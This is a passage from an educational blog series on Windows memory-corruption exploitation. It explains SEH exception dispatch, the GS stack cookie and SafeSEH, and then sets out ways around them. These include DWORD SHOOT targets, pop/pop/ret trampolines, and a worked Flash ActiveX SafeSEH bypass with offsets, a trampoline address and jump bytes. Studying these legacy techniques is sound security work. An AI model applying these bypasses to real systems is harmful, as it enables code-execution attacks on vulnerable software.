overflows. Put the shellcode on the heap, use a DWORD SHOOT to point the SEH record at it, then cause an exception. The setup is the same DWORD SHOOT as in &lt;a href=&quot;/posts/reread-0day-2-nt5-heap/&quot;&gt;part two&lt;/a&gt;, only the target changes from the PEB function pointer to the SEH.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;A closer look at exception dispatch&lt;a href=&quot;#a-closer-look-at-exception-dispatch&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Walking the whole path once gives us something to refer back to when we get to the bypasses.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Exception handling at different levels&lt;a href=&quot;#exception-handling-at-different-levels&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;The smallest scope for exception handling is the thread. Each thread has its own SEH chain and tries it first when something goes wrong&lt;/li&gt;
&lt;li&gt;A process can have many threads, and the process also has a handler for everything. When a thread’s own SEH can’t fix it, it goes to the process handler&lt;/li&gt;
&lt;li&gt;The system also catches everything for every program. When all the handlers fail, the system’s default handler is called, which usually just shows a crash dialog&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Thread-level callbacks and unwind&lt;a href=&quot;#thread-level-callbacks-and-unwind&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The callback used for exception handling takes 4 arguments:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pExcept&lt;/code&gt;: points at the &lt;code&gt;EXCEPTION_RECORD&lt;/code&gt;, with the exception type, where it happened and so on&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pFrame&lt;/code&gt;: points at the SEH structure in the stack frame&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pContext&lt;/code&gt;: points at the &lt;code&gt;CONTEXT&lt;/code&gt;, with the state of every register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pDispatch&lt;/code&gt;: the dispatcher context&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;The callback can return one of two values:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0 (ExceptionContinueExecution)&lt;/code&gt;: the exception was handled, go back to where it happened and carry on&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1 (ExceptionContinueSearch)&lt;/code&gt;: handling failed, look further down the chain&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;There’s also an &lt;code&gt;UNWIND&lt;/code&gt; step. Once the system finds a handler that can deal with the exception, it calls all the SEH records it walked past earlier (the ones that failed) one more time, to tell them “you’ve been given up on, clean up and release your resources”, and then takes them off the list. During unwind, &lt;code&gt;ExceptionFlags&lt;/code&gt; in &lt;code&gt;EXCEPTION_RECORD&lt;/code&gt; is set to &lt;code&gt;EH_UNWINDING(0x2)&lt;/code&gt;, and it’s implemented by &lt;code&gt;RtlUnwind&lt;/code&gt; in &lt;code&gt;ntdll&lt;/code&gt;. Also, before calling any callback, the system checks whether the process is being debugged, and if so hands the exception to the debugger first.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Process level and the UEF&lt;a href=&quot;#process-level-and-the-uef&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When the thread’s chain has failed, it goes to the process exception handler (registered with &lt;code&gt;SetUnhandledExceptionFilter&lt;/code&gt;). If that fails too, it reaches the system’s default &lt;code&gt;UnhandledExceptionFilter()&lt;/code&gt;, the top-level handler called the UEF (Unhandled Exception Filter). On 2000/XP this function reads the registry key &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug&lt;/code&gt;, where the &lt;code&gt;Auto&lt;/code&gt; value decides whether to show a dialog and the &lt;code&gt;Debugger&lt;/code&gt; value names the default debugger.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;The whole flow&lt;a href=&quot;#the-whole-flow&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;The CPU catches the exception and the kernel takes over for the kernel-mode part&lt;/li&gt;
&lt;li&gt;When the kernel is done, it hands things back to user mode&lt;/li&gt;
&lt;li&gt;The first thing in user mode to handle the exception is &lt;code&gt;KiUserExceptionDispatcher()&lt;/code&gt; in &lt;code&gt;ntdll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;It checks whether the process is being debugged, and if so hands it to the debugger&lt;/li&gt;
&lt;li&gt;Then it goes through VEH (vectored exception handling)&lt;/li&gt;
&lt;li&gt;If not being debugged, it calls &lt;code&gt;RtlDispatchException()&lt;/code&gt; to walk the thread’s SEH chain, and unwinds once it finds a handler&lt;/li&gt;
&lt;li&gt;If every SEH on the stack fails, it calls the process exception handler&lt;/li&gt;
&lt;li&gt;If that fails, it calls the UEF&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;A few other places to strike&lt;a href=&quot;#a-few-other-places-to-strike&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;VEH, vectored exception handling, new since XP. It’s per process, registered through an API, chained into a doubly linked list and stored on the heap, and it runs before SEH. Use a heap overflow DWORD SHOOT to change the pointer to the VEH head node, and once an exception starts you can steer it into the shellcode&lt;/li&gt;
&lt;li&gt;Attack the SEH head pointer in the TEB, that is, change the TEB’s first DWORD. The catch is that in a multithreaded program the TEB is hard to locate (the first TEB is at &lt;code&gt;0x7FFDE000&lt;/code&gt;, and each one after that is &lt;code&gt;0x1000&lt;/code&gt; lower), so this is usually only used on single-threaded programs&lt;/li&gt;
&lt;li&gt;Attack the UEF. Point the DWORD SHOOT target at the UEF entry and put the shellcode entry in the data, then cause an exception that only the UEF can handle. When the exception happens, EDI often points somewhere on the heap not far from the shellcode, so overwriting the UEF handler with the address of a &lt;code&gt;CALL DWORD PTR [EDI + 0x78]&lt;/code&gt; instruction (or &lt;code&gt;[ESI + 0x4C]&lt;/code&gt;, &lt;code&gt;[EBP + 0x74]&lt;/code&gt;) often gets you in&lt;/li&gt;
&lt;li&gt;Attack a function pointer in the PEB. When ExitProcess cleans up it has to enter a critical section to synchronize, which ends up calling &lt;code&gt;RtlEnterCriticalSection&lt;/code&gt;, and before XP SP2 the PEB address never changed, so it’s easier to use than the TEB (see &lt;a href=&quot;/posts/reread-0day-2-nt5-heap/&quot;&gt;part two&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Off-by-one&lt;a href=&quot;#off-by-one&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Exploitation techniques come in rough layers, from basic stack overflows (overwriting the return address), to advanced stack overflows (you can only reach part of EBP and not the return address, like the off-by-one from misusing &lt;code&gt;strncpy&lt;/code&gt;), to heap overflows and format strings.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;off_by_one&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;buf&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sizeof&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;buf&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;); &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  // i &amp;lt;= len goes one step too far&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;buf&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;This function is trying to avoid overflowing, but &lt;code&gt;i &amp;lt;= len&lt;/code&gt; is off by one at the boundary, so it can overflow by a single byte. That’s just enough to overwrite the lowest byte of EBP and control EBP within a certain range.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Everything so far has been about attacking. After XP SP2, Microsoft added three protections against these routes, GS, SafeSEH and SEHOP. Let’s go through them one at a time.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;GS and the cookie on the stack&lt;a href=&quot;#gs-and-the-cookie-on-the-stack&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;How it works&lt;a href=&quot;#how-it-works&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;On by default since Visual Studio 2003 (VC7.0) (&lt;code&gt;Buffer Security Check&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;On every function call, an extra random DWORD is pushed into the stack frame, called the &lt;code&gt;canary&lt;/code&gt; or &lt;code&gt;Security Cookie&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The cookie sits before EBP, and the system also keeps a copy in &lt;code&gt;.data&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;In a stack overflow, the cookie gets overwritten before EBP and the return address&lt;/li&gt;
&lt;li&gt;Before the function returns, it runs a &lt;code&gt;Security Check&lt;/code&gt; comparing the cookie on the stack with the copy in &lt;code&gt;.data&lt;/code&gt;. If they differ, there was an overflow, so it goes into exception handling, the function doesn’t return normally and the &lt;code&gt;ret&lt;/code&gt; never runs&lt;/li&gt;
&lt;li&gt;It costs performance, so GS is left out when the function has no buffer, takes variable arguments, is marked with a keyword like naked, starts with inline assembly, or its buffers aren’t 8-byte types and are no bigger than 4 bytes&lt;/li&gt;
&lt;li&gt;Those exceptions caused problems, so VS2005 SP1 added &lt;code&gt;#pragma strict_gs_check&lt;/code&gt; to put a cookie in any function&lt;/li&gt;
&lt;li&gt;There’s also variable reordering. Local variables get rearranged in the stack frame by type, with strings moved to higher addresses so an overflowing string can’t trash other variables, and pointer and string arguments copied to lower addresses&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Here are the cookie details. The first DWORD of &lt;code&gt;.data&lt;/code&gt; is the seed (the original cookie), which is different on every run. After the stack frame is set up, ESP is XORed with the seed to get this function’s cookie, for extra randomness, and before returning it XORs with ESP again to recover the seed and compare. The disassembly makes it very clear:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; compute the cookie at the start of the function&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;dword&lt;/span&gt;&lt;span&gt; ptr &lt;/span&gt;&lt;span&gt;ds&lt;/span&gt;&lt;span&gt;:[__security_cookie]  &lt;/span&gt;&lt;span&gt;; take the original cookie from .data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;                               &lt;/span&gt;&lt;span&gt;; XOR with ebp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;0x4&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;                         &lt;/span&gt;&lt;span&gt;; store it at ebp-0x4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; check it before the function returns&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;0x4&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;call&lt;/span&gt;&lt;span&gt; __security_check_cookie&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; __security_check_cookie:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;cmp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;dword&lt;/span&gt;&lt;span&gt; ptr &lt;/span&gt;&lt;span&gt;ds&lt;/span&gt;&lt;span&gt;:[__security_cookie]  &lt;/span&gt;&lt;span&gt;; compare with the .data copy&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;jnz&lt;/span&gt;&lt;span&gt; __report_gsfailure                     &lt;/span&gt;&lt;/span&gt;&lt;span&gt;; report an error if they differ&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;rep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;retn&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Gaps in GS&lt;a href=&quot;#gaps-in-gs&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;GS only protects the part of the stack frame around the return address, so there are a few places it doesn’t reach:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Overwriting function pointers&lt;/strong&gt;. GS can hardly stop attacks that overwrite a function pointer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exception handling&lt;/strong&gt;. GS doesn’t protect SEH, so you can hijack the program before the cookie check by overwriting SEH and causing an exception. If &lt;code&gt;strcat&lt;/code&gt; hits an invalid address and raises an exception, the function never gets to its cookie check on return&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual functions&lt;/strong&gt;. The stack is only checked when the function returns, so hijack it before that. Overwrite a C++ object’s vtable pointer so it points at a &lt;code&gt;pop/pop/ret&lt;/code&gt; trampoline, and you jump into the shellcode the moment a virtual function is called. Vtable attacks get the full treatment in &lt;a href=&quot;/posts/reread-0day-4-dep-and-aslr/&quot;&gt;part four&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Taking it head on&lt;/strong&gt;. The cookie is the original cookie in &lt;code&gt;.data&lt;/code&gt; &lt;code&gt;xor&lt;/code&gt; ebp, so if the overflow can change both the cookie on the stack and the original cookie in &lt;code&gt;.data&lt;/code&gt; so they still match, the check passes. The book builds an example where a negative &lt;code&gt;i&lt;/code&gt; can reach &lt;code&gt;.data&lt;/code&gt; to do exactly this&lt;/li&gt;
&lt;/ol&gt;&lt;blockquote&gt;&lt;p&gt;Back then I couldn’t figure out the book’s “break GS through unprotected memory” example (where &lt;code&gt;char arry[4]&lt;/code&gt; should have been unprotected but was protected anyway). In theory a 4-byte buffer shouldn’t get GS, but in my test it did. Looking back now, it’s because GS doesn’t decide on size alone. &lt;code&gt;arry&lt;/code&gt; is treated as an array, and its address is taken (passed to strcpy), so the compiler’s heuristics flagged it as risky and protected it. So “buffers no bigger than 4 bytes aren’t protected” isn’t a rule you can apply mechanically.&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;SafeSEH checks the exception handler&lt;a href=&quot;#safeseh-checks-the-exception-handler&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Since GS can’t protect SEH, Microsoft gave SEH its own protection, SafeSEH. When SEH has been overwritten, it checks things before actually calling the handler:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Is the exception handler chain on the current stack? If not, stop&lt;/li&gt;
&lt;li&gt;Does the handler pointer point into the current stack? If so, stop (shellcode is often on the stack, so this one hurts)&lt;/li&gt;
&lt;li&gt;If both of those pass, it calls &lt;code&gt;RtlIsValidHandler()&lt;/code&gt; to check that the handler is valid:
&lt;ul&gt;
&lt;li&gt;If the handler address is inside the memory range of a loaded module:
&lt;ul&gt;
&lt;li&gt;Does that module set &lt;code&gt;IMAGE_DLLCHARACTERISTICS_NO_SEH&lt;/code&gt;? If so, the check fails&lt;/li&gt;
&lt;li&gt;Does that module have a safe SEH table? If so, look the handler address up in the table, and only a match passes&lt;/li&gt;
&lt;li&gt;Is the module pure IL (.NET)? If so, the check fails&lt;/li&gt;
&lt;li&gt;Is the handler on a non-executable page? If so, it depends on DEP. Without DEP it passes, with DEP it raises an access violation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If the handler address is outside every loaded module:
&lt;ul&gt;
&lt;li&gt;On a non-executable page? Depends on DEP, same as above&lt;/li&gt;
&lt;li&gt;Does the system allow jumping outside modules? If yes it passes, otherwise it fails&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;This is a screenshot from back then, the trampoline (&lt;code&gt;CALL [EBP+0xC]&lt;/code&gt;) I found while stepping through the &lt;code&gt;RtlIsValidHandler&lt;/code&gt; decision:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/images/DNAHQe.png&quot; alt=&quot;The CALL [EBP+0xC] trampoline I found&quot; /&gt;&lt;figcaption&gt;The CALL [EBP+0xC] trampoline I found&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Three ways around SafeSEH&lt;a href=&quot;#three-ways-around-safeseh&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Follow the decision tree above and the gaps show themselves:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Put the shellcode on the heap&lt;/strong&gt;. Even when the SEH check decides a handler is “invalid”, on some paths it still gets called. The more reliable version is to have the stack overflow only point the SEH at shellcode on the heap, which dodges the check on stack addresses&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use a module without SafeSEH as the trampoline&lt;/strong&gt;. DLLs built with VC6 don’t have SafeSEH by default. Find a &lt;code&gt;pop/pop/ret&lt;/code&gt; in such a module and overwrite the SEH handler with its address. The check sees an address inside “a module with no safe SEH table” and lets it pass, and after the &lt;code&gt;pop/pop/ret&lt;/code&gt;, that &lt;code&gt;ret&lt;/code&gt; brings us back to the shellcode. (A VC6 DLL’s default load base &lt;code&gt;0x10000000&lt;/code&gt; contains a &lt;code&gt;0x00&lt;/code&gt; that strcpy cuts off, so change the base with &lt;code&gt;/base:&quot;0x11120000&quot;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use an address outside the loaded modules&lt;/strong&gt;. Find an instruction like &lt;code&gt;call/jmp dword ptr[ebp+N]&lt;/code&gt; in memory outside any module and use it as the trampoline, getting around the “must be a valid handler inside a module” check&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Warning&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;There are two traps in actually doing this. One, a function with &lt;code&gt;__try{}&lt;/code&gt; built by VS2008 pushes a &lt;code&gt;-2&lt;/code&gt; (VC6 uses &lt;code&gt;-1&lt;/code&gt;) at &lt;code&gt;Security Cookie+4&lt;/code&gt; as a marker, and exception handling changes that value, which can break the shellcode, so pad 8 NOPs after the trampoline. Two, where the trampoline’s &lt;code&gt;ret&lt;/code&gt; lands is often a few bytes off from the shellcode itself, so you need a short jump (sometimes followed by a long one) to get into the real entry point.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;The browser version, bypassing SafeSEH with Flash ActiveX&lt;a href=&quot;#the-browser-version-bypassing-safeseh-with-flash-activex&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This is the browser flavor of route 2. Before &lt;code&gt;9.0.124&lt;/code&gt;, the Flash Player ActiveX control didn’t support SafeSEH, so if you find a suitable trampoline address inside that control, you get around SafeSEH:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Write your own MFC ActiveX control with a stack overflow in it, and trigger the overflow by calling it from a web page&lt;/li&gt;
&lt;li&gt;After the overflow overwrites the SEH, jump to the trampoline you found in the Flash control&lt;/li&gt;
&lt;li&gt;From the trampoline, jump back to the shellcode on the stack&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;In my test back then, the overflow string started at &lt;code&gt;0x01DCF4FC&lt;/code&gt; and the handler address closest to the top of the stack was at &lt;code&gt;0x01DCF610&lt;/code&gt;, so &lt;code&gt;0x114&lt;/code&gt; (276 bytes) of filler reached exactly up to the handler address, and bytes 277-280 held the trampoline. OllyFindAddr’s &lt;code&gt;Find CALL/JMP[EBP+N]&lt;/code&gt; found a &lt;code&gt;CALL [EBP+0xC]&lt;/code&gt; at &lt;code&gt;0x300B2D1C&lt;/code&gt; (the screenshot above). The trampoline jumps to 4 bytes before that address, so a short jump goes there with the shellcode right after it:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;01DCF60C   EB &lt;/span&gt;&lt;span&gt;06&lt;/span&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;jmp&lt;/span&gt;&lt;span&gt; short 01DCF614   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;; skip 4 bytes to the shellcode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;01DCF60E   &lt;/span&gt;&lt;span&gt;90&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;90&lt;/span&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;01DCF610   1C &lt;/span&gt;&lt;span&gt;2D&lt;/span&gt;&lt;span&gt;    (trampoline address, low 